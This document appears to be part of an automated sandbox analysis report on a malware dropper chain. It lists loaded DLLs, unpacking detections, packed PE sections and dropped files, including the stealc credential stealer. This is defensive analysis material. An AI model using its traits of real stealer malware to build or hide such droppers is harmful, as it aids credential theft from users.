Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Section loaded: libcrypto-1_1.dll
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Section loaded: libssl-1_1.dll
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\stub.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1006343001\goldddd123.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1006343001\goldddd123.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1006343001\goldddd123.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1006343001\goldddd123.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1006343001\goldddd123.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1006343001\goldddd123.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1006343001\goldddd123.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1006343001\goldddd123.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1006343001\goldddd123.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1006343001\goldddd123.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1006343001\goldddd123.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1006343001\goldddd123.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1006343001\goldddd123.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1006343001\goldddd123.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1006343001\goldddd123.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1006343001\goldddd123.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1006343001\goldddd123.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1006343001\goldddd123.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1006343001\goldddd123.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1006343001\goldddd123.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1006343001\goldddd123.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1006343001\goldddd123.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1006343001\goldddd123.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1006343001\goldddd123.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1006343001\goldddd123.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1006343001\goldddd123.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1006343001\goldddd123.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1006343001\goldddd123.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\23a0892ef8\Gxtuum.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\23a0892ef8\Gxtuum.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\23a0892ef8\Gxtuum.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\23a0892ef8\Gxtuum.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\23a0892ef8\Gxtuum.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\23a0892ef8\Gxtuum.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\23a0892ef8\Gxtuum.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\23a0892ef8\Gxtuum.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\23a0892ef8\Gxtuum.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\23a0892ef8\Gxtuum.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\23a0892ef8\Gxtuum.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\23a0892ef8\Gxtuum.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\23a0892ef8\Gxtuum.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\23a0892ef8\Gxtuum.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\23a0892ef8\Gxtuum.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\23a0892ef8\Gxtuum.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\23a0892ef8\Gxtuum.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\23a0892ef8\Gxtuum.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: version.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: msxml6.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vcruntime140_1.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: vbscript.dll
Source: C:\Windows\System32\wbem\WMIC.exe	Section loaded: sxs.dll

Source: C:\Users\user\Desktop\random.exe.6.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{148BD52A-A2AB-11CE-B11F-00AA00530503}\InProcServer32

Jump to behavior

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\tasklist.exe tasklist

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: random.exe.6.exe

Static file information: File size 2964992 > 1048576

Source: random.exe.6.exe

Static PE information: Raw size of trpkawkh is bigger than: 0x100000 < 0x2a2400

Source:	Binary string: mozglue.pdbP source: stealc_default2.exe, 00000014.00000002.3333797058.000000006C59D000.00000002.00000001.01000000.00000014.sdmp
Source:	Binary string: C:\A\40\b\bin\amd64\_decimal.pdb$$ source: roblox.exe, 00000021.00000003.3428426689.00000202AD0E9000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: nss3.pdb@ source: stealc_default2.exe, 00000014.00000002.3334679134.000000006C75F000.00000002.00000001.01000000.00000013.sdmp
Source:	Binary string: C:\A\40\b\bin\amd64\sqlite3.pdb source: roblox.exe, 00000021.00000003.3428426689.00000202ADFCE000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: cryptography_rust.pdbc source: roblox.exe, 00000021.00000003.3428426689.00000202AE358000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ossl_ec_GFp_simple_group_set_curvecrypto\ec\ecp_smpl.cossl_ec_GFp_simple_group_check_discriminantossl_ec_GFp_simple_point_set_affine_coordinatesossl_ec_GFp_simple_point_get_affine_coordinatesossl_ec_GFp_simple_make_affineossl_ec_GFp_simple_points_make_affineossl_ec_GFp_simple_field_invossl_ec_GFp_simple_blind_coordinatescrypto\buffer\buffer.cBUF_MEM_growBUF_MEM_grow_cleancompiler: cl /Zi /Fdossl_static.pdb /MT /Zl /Gs0 /GF /Gy /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -D"OPENSSL_BUILDING_OPENSSL" -D"OPENSSL_SYS_WIN32" -D"WIN32_LEAN_AND_MEAN" -D"UNICODE" -D"_UNICODE" -D"_CRT_SECURE_NO_DEPRECATE" -D"_WINSOCK_DEPRECATED_NO_WARNINGS" -D"NDEBUG";CPUINFO: OPENSSL_ia32cap=0x%llx:0x%llxOPENSSL_ia32cap env:%sos-specific.dllCPUINFO: crypto\initthread.cOPENSSL_ia32cap` source: roblox.exe, 00000021.00000003.3428426689.00000202AE358000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: Z:\Development\Secureuser\src\plugins_manager\internal_plugins\embedded dlls\TlsHelperXBundler\Release\XBundlerTlsHelper.pdb source: v_dolg.exe, 00000020.00000002.4031290220.000000000044E000.00000040.00000001.01000000.00000012.sdmp
Source:	Binary string: D:\_w\1\b\libssl-1_1.pdb source: roblox.exe, 00000021.00000003.3428426689.00000202ADC25000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\A\40\b\bin\amd64\_decimal.pdb source: roblox.exe, 00000021.00000003.3428426689.00000202AD0E9000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\A\40\b\bin\amd64\_uuid.pdb source: stub.exe, 00000023.00000002.3777468525.00007FFDA4DA2000.00000002.00000001.01000000.00000033.sdmp
Source:	Binary string: compiler: cl /Zi /Fdossl_static.pdb /Gs0 /GF /Gy /MD /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -DOPENSSL_CPUID_OBJ -DOPENSSL_IA32_SSE2 -DOPENSSL_BN_ASM_MONT -DOPENSSL_BN_ASM_MONT5 -DOPENSSL_BN_ASM_GF2m -DSHA1_ASM -DSHA256_ASM -DSHA512_ASM -DKECCAK1600_ASM -DRC4_ASM -DMD5_ASM -DAESNI_ASM -DVPAES_ASM -DGHASH_ASM -DECP_NISTZ256_ASM -DX25519_ASM -DPOLY1305_ASM source: roblox.exe, 00000021.00000003.3428426689.00000202ADAAF000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000023.00000002.3746259866.00007FFD9326F000.00000002.00000001.01000000.00000026.sdmp
Source:	Binary string: C:\A\40\b\bin\amd64\python3.pdb source: roblox.exe, 00000021.00000003.3428426689.00000202ADC25000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000023.00000002.3730087629.0000022F64380000.00000002.00000001.01000000.00000021.sdmp
Source:	Binary string: mozglue.pdb source: stealc_default2.exe, 00000014.00000002.3333797058.000000006C59D000.00000002.00000001.01000000.00000014.sdmp
Source:	Binary string: C:\A\40\b\bin\amd64\_ctypes.pdb source: roblox.exe, 00000021.00000003.3428426689.00000202AD0E9000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000023.00000002.3779790774.00007FFDA5540000.00000002.00000001.01000000.0000001A.sdmp
Source:	Binary string: C:\A\40\b\bin\amd64\_queue.pdb source: roblox.exe, 00000021.00000003.3428426689.00000202AD0E9000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\A\40\b\bin\amd64\_overlapped.pdb source: roblox.exe, 00000021.00000003.3428426689.00000202AD0E9000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000023.00000002.3780378391.00007FFDAC0B5000.00000002.00000001.01000000.00000029.sdmp
Source:	Binary string: C:\A\40\b\bin\amd64\python310.pdb source: roblox.exe, 00000021.00000003.3428426689.00000202ADFCE000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000023.00000002.3756000650.00007FFD93E33000.00000002.00000001.01000000.00000018.sdmp
Source:	Binary string: compiler: cl /Zi /Fdossl_static.pdb /MT /Zl /Gs0 /GF /Gy /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -D"OPENSSL_BUILDING_OPENSSL" -D"OPENSSL_SYS_WIN32" -D"WIN32_LEAN_AND_MEAN" -D"UNICODE" -D"_UNICODE" -D"_CRT_SECURE_NO_DEPRECATE" -D"_WINSOCK_DEPRECATED_NO_WARNINGS" -D"NDEBUG" source: roblox.exe, 00000021.00000003.3428426689.00000202AE358000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: @ compiler: cl /Zi /Fdossl_static.pdb /Gs0 /GF /Gy /MD /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -DOPENSSL_CPUID_OBJ -DOPENSSL_IA32_SSE2 -DOPENSSL_BN_ASM_MONT -DOPENSSL_BN_ASM_MONT5 -DOPENSSL_BN_ASM_GF2m -DSHA1_ASM -DSHA256_ASM -DSHA512_ASM -DKECCAK1600_ASM -DRC4_ASM -DMD5_ASM -DAESNI_ASM -DVPAES_ASM -DGHASH_ASM -DECP_NISTZ256_ASM -DX25519_ASM -DPOLY1305_ASMOpenSSL 1.1.1n 15 Mar 2022built on: Tue Mar 15 18:32:50 2022 UTCplatform: VC-WIN64A-masmOPENSSLDIR: "C:\Program Files\Common Files\SSL"userSDIR: "C:\Program Files\OpenSSL\lib\users-1_1"not available source: roblox.exe, 00000021.00000003.3428426689.00000202ADAAF000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000023.00000002.3746259866.00007FFD9326F000.00000002.00000001.01000000.00000026.sdmp
Source:	Binary string: k1k2k3X9_62_PENTANOMIALp.otherp.onBasisp.tpBasisp.ppBasismX9_62_CHARACTERISTIC_TWOp.primep.char_twofieldTypeX9_62_FIELDIDX9_62_CURVEfieldIDcurvebaseECPARAMETERSvalue.named_curvevalue.parametersvalue.implicitlyCAECPKPARAMETERSprivateKeyparameterspublicKeyEC_PRIVATEKEYec_asn1_group2fieldidcrypto\ec\ec_asn1.cec_asn1_group2curveEC_GROUP_get_ecparametersEC_GROUP_get_ecpkparametersEC_GROUP_new_from_ecparametersEC_GROUP_new_from_ecpkparametersi2d_ECPKParametersd2i_ECPrivateKeyi2d_ECPrivateKeyi2d_ECParametersd2i_ECParameterso2i_ECPublicKeyi2o_ECPublicKeycompiler: cl /Zi /Fdossl_static.pdb /MT /Zl /Gs0 /GF /Gy /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -D"OPENSSL_BUILDING_OPENSSL" -D"OPENSSL_SYS_WIN32" -D"WIN32_LEAN_AND_MEAN" -D"UNICODE" -D"_UNICODE" -D"_CRT_SECURE_NO_DEPRECATE" -D"_WINSOCK_DEPRECATED_NO_WARNINGS" -D"NDEBUG"3.3.2built on: Tue Sep 3 19:22:24 2024 UTCplatform: VC-WIN64AOPENSSLDIR: "C:\Program Files\Common Files\SSL"userSDIR: "C:\Program Files\OpenSSL\lib\users-3"MODULESDIR: "C:\Program Files\OpenSSL\lib\ossl-modules"CPUINFO: N/Anot availablecrypto\init.cOPENSSL_init_cryptocrypto\bio\bio_lib.cBIO_new_exbio_read_internbio_write_internBIO_sendmmsgBIO_recvmmsgBIO_putsBIO_getsBIO_get_line BIO_ctrlBIO_callback_ctrlBIO_find_type source: roblox.exe, 00000021.00000003.3428426689.00000202AE358000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\A\40\b\bin\amd64\_lzma.pdbNN source: roblox.exe, 00000021.00000003.3428426689.00000202AD0E9000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\A\40\b\bin\amd64\_asyncio.pdb source: roblox.exe, 00000021.00000003.3428426689.00000202AD0E9000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\A\40\b\bin\amd64\_lzma.pdb source: roblox.exe, 00000021.00000003.3428426689.00000202AD0E9000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\A\40\b\bin\amd64\_multiprocessing.pdb source: roblox.exe, 00000021.00000003.3428426689.00000202AD0E9000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\A\40\b\bin\amd64\select.pdb source: roblox.exe, 00000021.00000003.3428426689.00000202ADFCE000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000023.00000002.3780632001.00007FFDAC123000.00000002.00000001.01000000.00000024.sdmp
Source:	Binary string: C:\A\40\b\bin\amd64\unicodedata.pdb source: roblox.exe, 00000021.00000003.3428426689.00000202AE358000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\_w\1\b\libssl-1_1.pdb@@ source: roblox.exe, 00000021.00000003.3428426689.00000202ADC25000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: nss3.pdb source: stealc_default2.exe, 00000014.00000002.3334679134.000000006C75F000.00000002.00000001.01000000.00000013.sdmp
Source:	Binary string: D:\a\_work\1\s\\binaries\amd64ret\bin\amd64\\vcruntime140.amd64.pdb source: roblox.exe, 00000021.00000003.3428426689.00000202AE358000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000023.00000002.3781630347.00007FFDAF381000.00000002.00000001.01000000.00000019.sdmp
Source:	Binary string: cryptography_rust.pdb source: roblox.exe, 00000021.00000003.3428426689.00000202AE358000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\A\40\b\bin\amd64\_bz2.pdb source: roblox.exe, 00000021.00000003.3428426689.00000202AD0E9000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\A\40\b\bin\amd64\_hashlib.pdb source: roblox.exe, 00000021.00000003.3428426689.00000202AD0E9000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\_w\1\b\libcrypto-1_1.pdb source: roblox.exe, 00000021.00000003.3428426689.00000202ADB30000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\A\40\b\bin\amd64\pyexpat.pdb source: roblox.exe, 00000021.00000003.3428426689.00000202ADC25000.00000004.00000020.00020000.00000000.sdmp

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\random.exe.6.exe	Unpacked PE file: 1.2.random.exe.6.exe.aa0000.0.unpack :EW;.rsrc:W;.idata :W;trpkawkh:EW;ytuuczdu:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;trpkawkh:EW;ytuuczdu:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Unpacked PE file: 2.2.axplong.exe.690000.0.unpack :EW;.rsrc:W;.idata :W;trpkawkh:EW;ytuuczdu:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;trpkawkh:EW;ytuuczdu:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Unpacked PE file: 3.2.axplong.exe.690000.0.unpack :EW;.rsrc:W;.idata :W;trpkawkh:EW;ytuuczdu:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;trpkawkh:EW;ytuuczdu:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Unpacked PE file: 19.2.axplong.exe.690000.0.unpack :EW;.rsrc:W;.idata :W;trpkawkh:EW;ytuuczdu:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;trpkawkh:EW;ytuuczdu:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1005242001\v_dolg.exe	Unpacked PE file: 32.2.v_dolg.exe.400000.0.unpack .MPRESS1:EW;.MPRESS2:EW;.rsrc:W; vs .MPRESS1:ER;.MPRESS2:ER;.rsrc:W;

Source: vcruntime140.dll.33.dr

Static PE information: 0xEFFF39AD [Sun Aug 4 18:57:49 2097 UTC]

Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe

Code function: 20_2_00649860 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

20_2_00649860

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: _multidict.pyd.33.dr	Static PE information: real checksum: 0x0 should be: 0xcc8d
Source: random.exe.6.exe	Static PE information: real checksum: 0x2e2fae should be: 0x2dc640
Source: _http_writer.pyd.33.dr	Static PE information: real checksum: 0x0 should be: 0x1b213
Source: _frozenlist.pyd.33.dr	Static PE information: real checksum: 0x0 should be: 0x1a2df
Source: goldddd123.exe.19.dr	Static PE information: real checksum: 0x0 should be: 0xc5a45
Source: goldddd123[1].exe.19.dr	Static PE information: real checksum: 0x0 should be: 0xc5a45
Source: _websocket.pyd.33.dr	Static PE information: real checksum: 0x0 should be: 0x183b0
Source: _helpers_c.pyd.33.dr	Static PE information: real checksum: 0x0 should be: 0xda40
Source: stealc_default2.exe.19.dr	Static PE information: real checksum: 0x0 should be: 0x516aa
Source: stealc_default2[1].exe.19.dr	Static PE information: real checksum: 0x0 should be: 0x516aa
Source: AllNew.exe.19.dr	Static PE information: real checksum: 0x0 should be: 0x6bdf3
Source: _helpers.pyd.33.dr	Static PE information: real checksum: 0x0 should be: 0x1b115
Source: legs[1].exe.19.dr	Static PE information: real checksum: 0x0 should be: 0xccc7f
Source: axplong.exe.1.dr	Static PE information: real checksum: 0x2e2fae should be: 0x2dc640
Source: _rust.pyd.33.dr	Static PE information: real checksum: 0x0 should be: 0x78b1a6
Source: am209.exe.19.dr	Static PE information: real checksum: 0x0 should be: 0x79814
Source: defnur.exe.27.dr	Static PE information: real checksum: 0x0 should be: 0x79814
Source: _http_parser.pyd.33.dr	Static PE information: real checksum: 0x0 should be: 0x50603
Source: am209[1].exe.19.dr	Static PE information: real checksum: 0x0 should be: 0x79814
Source: _quoting_c.pyd.33.dr	Static PE information: real checksum: 0x0 should be: 0x1ca68
Source: AllNew[1].exe.19.dr	Static PE information: real checksum: 0x0 should be: 0x6bdf3
Source: legs.exe.19.dr	Static PE information: real checksum: 0x0 should be: 0xccc7f
Source: Gxtuum.exe.24.dr	Static PE information: real checksum: 0x0 should be: 0x6bdf3
Source: _cffi_backend.pyd.33.dr	Static PE information: real checksum: 0x0 should be: 0x3108a

Source: random.exe.6.exe	Static PE information: section name:
Source: random.exe.6.exe	Static PE information: section name: .idata
Source: random.exe.6.exe	Static PE information: section name: trpkawkh
Source: random.exe.6.exe	Static PE information: section name: ytuuczdu
Source: random.exe.6.exe	Static PE information: section name: .taggant
Source: axplong.exe.1.dr	Static PE information: section name:
Source: axplong.exe.1.dr	Static PE information: section name: .idata
Source: axplong.exe.1.dr	Static PE information: section name: trpkawkh
Source: axplong.exe.1.dr	Static PE information: section name: ytuuczdu
Source: axplong.exe.1.dr	Static PE information: section name: .taggant
Source: v_dolg[1].exe.19.dr	Static PE information: section name: .MPRESS1
Source: v_dolg[1].exe.19.dr	Static PE information: section name: .MPRESS2
Source: v_dolg.exe.19.dr	Static PE information: section name: .MPRESS1
Source: v_dolg.exe.19.dr	Static PE information: section name: .MPRESS2
Source: roblox[1].exe.19.dr	Static PE information: section name: .eh_fram
Source: roblox[1].exe.19.dr	Static PE information: section name: .xdata
Source: roblox.exe.19.dr	Static PE information: section name: .eh_fram
Source: roblox.exe.19.dr	Static PE information: section name: .xdata
Source: freebl3.dll.20.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.20.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.20.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.20.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.20.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.20.dr	Static PE information: section name: .didat
Source: nss3.dll.20.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.20.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.20.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.20.dr	Static PE information: section name: .00cfg
Source: stub.exe.33.dr	Static PE information: section name: .eh_fram
Source: stub.exe.33.dr	Static PE information: section name: .xdata
Source: libcrypto-1_1.dll.33.dr	Static PE information: section name: .00cfg
Source: libssl-1_1.dll.33.dr	Static PE information: section name: .00cfg
Source: python310.dll.33.dr	Static PE information: section name: PyRuntim
Source: vcruntime140.dll.33.dr	Static PE information: section name: _RDATA
Source: Monster.exe.35.dr	Static PE information: section name: .eh_fram
Source: Monster.exe.35.dr	Static PE information: section name: .xdata

Source: C:\Users\user\Desktop\random.exe.6.exe	Code function: 1_2_00ABD84C push ecx; ret	1_2_00ABD85F
Source: C:\Users\user\Desktop\random.exe.6.exe	Code function: 1_2_00AB122F pushad ; ret	1_2_00AB1230
Source: C:\Users\user\Desktop\random.exe.6.exe	Code function: 1_2_00AB0B3B push esp; retf 0000h	1_2_00AB0B3C
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Code function: 2_2_006AD84C push ecx; ret	2_2_006AD85F
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Code function: 3_2_006AD84C push ecx; ret	3_2_006AD85F
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Code function: 19_2_006AD84C push ecx; ret	19_2_006AD85F
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Code function: 19_2_006ADEF6 push ecx; ret	19_2_006ADF09
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Code function: 20_2_0064B035 push ecx; ret	20_2_0064B048
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	Code function: 20_2_6C55B536 push ecx; ret	20_2_6C55B549

Source: random.exe.6.exe	Static PE information: section name: entropy: 7.984058071515904
Source: axplong.exe.1.dr	Static PE information: section name: entropy: 7.984058071515904

Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1006252001\roblox.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\unicodedata.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\AllNew[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1006252001\roblox.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\python3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	File created: C:\Users\user\AppData\Local\Temp\1006252001\roblox.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1006252001\roblox.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\yarl\_quoting_c.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	File created: C:\Users\user\AppData\Local\Temp\1003013001\AllNew.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\am209[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1006252001\roblox.exe	File created: C:\Users\user\AppData\Local\Temp\onefile_6540_133789932504768238\pyexpat.pyd	Jump to dropped file
